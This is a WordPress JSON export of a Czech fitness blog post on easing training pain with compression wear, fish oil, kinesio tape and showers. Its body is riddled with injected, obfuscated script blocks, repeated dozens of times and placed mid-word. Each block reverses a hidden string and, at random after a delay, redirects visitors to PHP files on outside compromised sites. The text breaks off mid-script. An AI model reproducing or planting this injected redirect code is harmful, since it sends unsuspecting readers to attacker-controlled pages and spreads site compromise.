{"id":488,"date":"2021-05-25T07:26:25","date_gmt":"2021-05-25T07:26:25","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=488"},"modified":"2021-05-18T07:32:22","modified_gmt":"2021-05-18T07:32:22","slug":"5-zpusobu-jak-bojovat-s-bolesti-pri-treninku","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2021\/05\/25\/5-zpusobu-jak-bojovat-s-bolesti-pri-treninku\/","title":{"rendered":"5 ZP\u016eSOB\u016e JAK BOJOVAT S BOLEST\u00cd P\u0158I TR\u00c9NINKU"},"content":{"rendered":"<p>Fo<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to: Irvin Gelb<\/p>\n<p><strong>Ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to techniky v\u00e1m pomohou zm\u00edrnit bolest zp\u016fsobenou tvrd\u00fdm tr\u00e9ninkem a p\u016fsob\u00ed sou\u010dasn\u011b jako prevence zran\u011bn\u00ed.<\/strong><\/p>\n<p>L\u00e9ka\u0159 v\u00e1m \u0159ekne, \u017ee bolest je indik\u00e1<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tor <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho, kdy\u017e se v\u00a0t\u011ble d\u011bje n\u011bco \u0161patn\u00e9ho. Tvrd\u011b tr\u00e9nuj\u00edc\u00ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovec v\u00e1m \u0159ekne, \u017ee bolest je n\u011bco, co dr\u017e\u00ed slabochy d\u00e1l od posilovny. My se nyn\u00ed pod\u00edv\u00e1me na oba pohledy.<\/p>\n<p>Ur\u010dit\u00fd stupe\u0148 bolesti je ned\u00edlnou sou\u010d\u00e1st\u00ed na\u0161eho \u017eivota a \u00fazce souvis\u00ed i s\u00a0tr\u00e9ninkem. Pokud ale stresov\u00e9 fak<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tory nar\u016fstaj\u00ed, mohou se vymknout kontrole a v\u00e9st k\u00a0poran\u011bn\u00ed, donut\u00ed n\u00e1s prov\u00e1d\u011bt kompenza\u010dn\u00ed cviky, nebo\u0165 je t\u0159eba bojovat s\u00a0poruchami mobility a p\u0159edch\u00e1zet probl\u00e9m\u016fm s\u00a0klouby. Tr\u00e9nink sv\u00fdm zp\u016fsobem vy\u017eaduje trochu sebezap\u0159en\u00ed. Sou\u010dasn\u011b mus\u00edte v\u011bnovat pozornost strav\u011b a sp\u00e1nku, hydrataci a pravideln\u00e9mu myofasci\u00e1ln\u00edmu uvoln\u011bn\u00ed sval\u016f (pomoc\u00ed mas\u00e1\u017en\u00edho v\u00e1le\u010dku). N\u00e1sleduj\u00edc\u00edch p\u011bt strategi\u00ed jist\u011b uv\u00edt\u00e1te zejm\u00e9na ve chv\u00edl\u00edch, kdy tr\u00e9ninkov\u00e1 intenzita nab\u00edr\u00e1 na s\u00edle.<\/p>\n<p>KOMPRESN\u00cd PR\u00c1DLO<\/p>\n<p>Kompresn\u00ed pr\u00e1dlo m\u016f\u017ee navodit pocit v\u011bt\u0161\u00ed s\u00edly, bezpe\u010dnosti a stability, nav\u00edc <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nakonec m\u016f\u017ee p\u016fsobit i \u201ecool\u201c dojmem (t\u0159eba <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, kter\u00e9 vyr\u00e1b\u00ed Lebron James). P\u0159ed n\u011bkolika lety byla v\u00a0\u010dasopise <em>Medicine and Science in Sports and Exercise<\/em> publikov\u00e1na studie, d\u00edky n\u00ed\u017e odborn\u00edci zjistili, \u017ee spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci, kte\u0159\u00ed nosili kompresn\u00ed pr\u00e1dlo po tr\u00e9ninku, t\u00edm v\u00fdrazn\u011b urychlili regeneraci. Byli schopni zv\u00fd\u0161it svoji s\u00edlu a zlep\u0161ovali se rychleji ne\u017e ti, kte\u0159\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to oble\u010den\u00ed nenosili.<\/p>\n<p>&nbsp;<\/p>\n<p>RYB\u00cd OLEJ<img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-491 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/05\/pill-316601_640-300x198.jpg\" alt=\"\" width=\"300\" height=\"198\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/05\/pill-316601_640-300x198.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/05\/pill-316601_640.jpg 640w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>Omega-3 mastn\u00e9 kyseliny obsa\u017een\u00e9 v\u00a0ryb\u00edm oleji jsou v\u00fdrazn\u011b protiz\u00e1n\u011btliv\u00e9 a pom\u00e1haj\u00ed bojovat proti enzym\u016fm, kter\u00e9 rozkl\u00e1daj\u00ed chrupavku. D\u00edky studii publikovan\u00e9 v\u00a0<em>Clinical Journal of Sport Medicine<\/em> v\u00edme, \u017ee u\u017e\u00edv\u00e1n\u00ed ryb\u00edho oleje redukuje p\u0159\u00edznaky potr\u00e9ninkov\u00e9 bolesti dostavuj\u00edc\u00ed se 48 hodin po n\u00e1ro\u010dn\u00e9m cvi\u010den\u00ed. Dal\u0161\u00ed v\u00fdzkumy prok\u00e1zaly, \u017ee vhodn\u00fd pom\u011br omega-3 a omega-6 mastn\u00fdch kyselin podporuje produkci kolagenu, d\u016fle\u017eit\u00e9ho struktur\u00e1ln\u00edho proteinu, kter\u00fd je obsa\u017een\u00fd v\u00a0pojivov\u00fdch tk\u00e1n\u00edch.<\/p>\n<p>&nbsp;<\/p>\n<p>TEJPOVAC\u00cd P\u00c1SKY<\/p>\n<p>P\u016fvodn\u011b jde o pom\u016fcku fyzioterapeut\u016f, tzv. \u201etejpy\u201c nyn\u00ed ale b\u011b\u017en\u011b pou\u017e\u00edvaj\u00ed i sami spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci, aby mohli bezbolestn\u011b cvi\u010dit v\u00a0pot\u0159ebn\u00e9m rozsahu pohybu. Jde o speci\u00e1ln\u00ed elastick\u00e9 p\u00e1sky, kter\u00e9 podporuj\u00ed hojen\u00ed t\u00edm, \u017ee oddaluj\u00ed ko\u017en\u00ed \u0159asu od m\u011bkk\u00fdch tk\u00e1n\u00ed, \u010d\u00edm\u017e usnadn\u00ed prokrven\u00ed drobn\u00fdch potr\u00e9ninkov\u00fdch poran\u011bn\u00ed a regenerace prob\u00edh\u00e1 rychleji. V\u00a0\u010dasopise <em>Journal of Physiotherapy <\/em>byly zve\u0159ejn\u011bny v\u00fdsledky studie, v\u00a0r\u00e1mci n\u00ed\u017e byly spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016fm aplikov\u00e1ny tejpy v\u00a0bedern\u00ed \u010d\u00e1sti zad z\u00a0d\u016fvodu nespecifick\u00e9 bolesti t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to partie. D\u00edky <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu u nich do\u0161lo k\u00a0v\u00fdrazn\u00e9mu zlep\u0161en\u00ed, \u00fastupu bolesti a pokrok\u016fm v\u00a0hybnosti v\u00a0porovn\u00e1n\u00ed se skupinou, kter\u00e1 tejpy nepou\u017e\u00edvala.<\/p>\n<p>SPRCHA<img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-490 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/05\/shower-653671_640-279x300.jpg\" alt=\"\" width=\"279\" height=\"300\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/05\/shower-653671_640-279x300.jpg 279w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/05\/shower-653671_640.jpg 595w\" sizes=\"auto, (max-width: 279px) 100vw, 279px\" \/><\/p>\n<p>Vystavit svoje t\u011blo st\u0159\u00eddav\u011b tepl\u00e9 a studen\u00e9 spr\u0161e <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return 